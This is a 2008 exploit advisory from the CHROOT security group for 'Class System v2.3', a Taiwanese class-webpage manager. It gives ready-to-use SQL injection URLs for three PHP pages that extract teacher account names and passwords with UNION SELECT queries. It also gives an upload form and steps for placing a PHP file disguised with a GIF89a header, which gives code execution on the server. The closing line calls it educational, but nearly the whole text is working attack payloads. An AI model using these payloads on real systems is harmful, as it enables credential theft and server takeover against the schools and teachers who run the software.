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C. H. R. O. O. T. SECURITY GROUP
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http://www.chroot.org

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Hacks In Taiwan | || | | | | | \| |
Conference 2008 | _ | | | | | (| () | |
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http://www.hitcon.org

Title :: Class System v2.3 Multiple Remote Vulnerabilities

Author :: unohope [at] chroot [dot] org

IRC :: irc.chroot.org #chroot

ScriptName :: 班級網頁管理系統 v2.3

Download :: http://netlab.kh.edu.tw/download/classman/ClassSystemV2.zip
http://netlab.kh.edu.tw/download/classman/ClassSystemV2.3.zip

Mirror :: http://www.badongo.com/file/9542454
http://www.badongo.com/file/9542460

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[SQL Injection]

• {HomepageTop.php} -

http://localhost/class/HomepageTop.php?teacher_id=-99'+union+select+0,1,teacher_password,teacher_account,4,5+from+teacher/*

• {HomepageMani.php} -

http://localhost/class/HomepageMain.php?teacher_id=-99'+union+select+0,teacher_account,2,3,4,5,6,7,teacher_password+from+teacher/*

• {MessageReply.php} -

http://localhost/class/MessageReply.php?teacher_id=1&message_id=-99'+union+select+teacher_account,teacher_password,3,4+from+teacher/*

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[Upload Arbitrarily]

• {Apply.php} -

<form enctype="multipart/form-data" action="http://localhost/class/ApplyDB.php&quot; method="post">
<input type="hidden" name="teacher_account" value="blah1">
<input type="hidden" name="teacher_password" value="blah1">
<input type="file" name="uploadfile" size="40"><br>
<input type="submit" value="send">
</form>

Just upload a foo.php with GIF89a header, and go to url as following …
http://localhost/class/UploadHomepage/[your_account_id]_1.php
then enjoy it …

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[NOTE]

!! This is just for educational purposes, DO NOT use for illegal. !!

2008/5/24 - chrO.ot group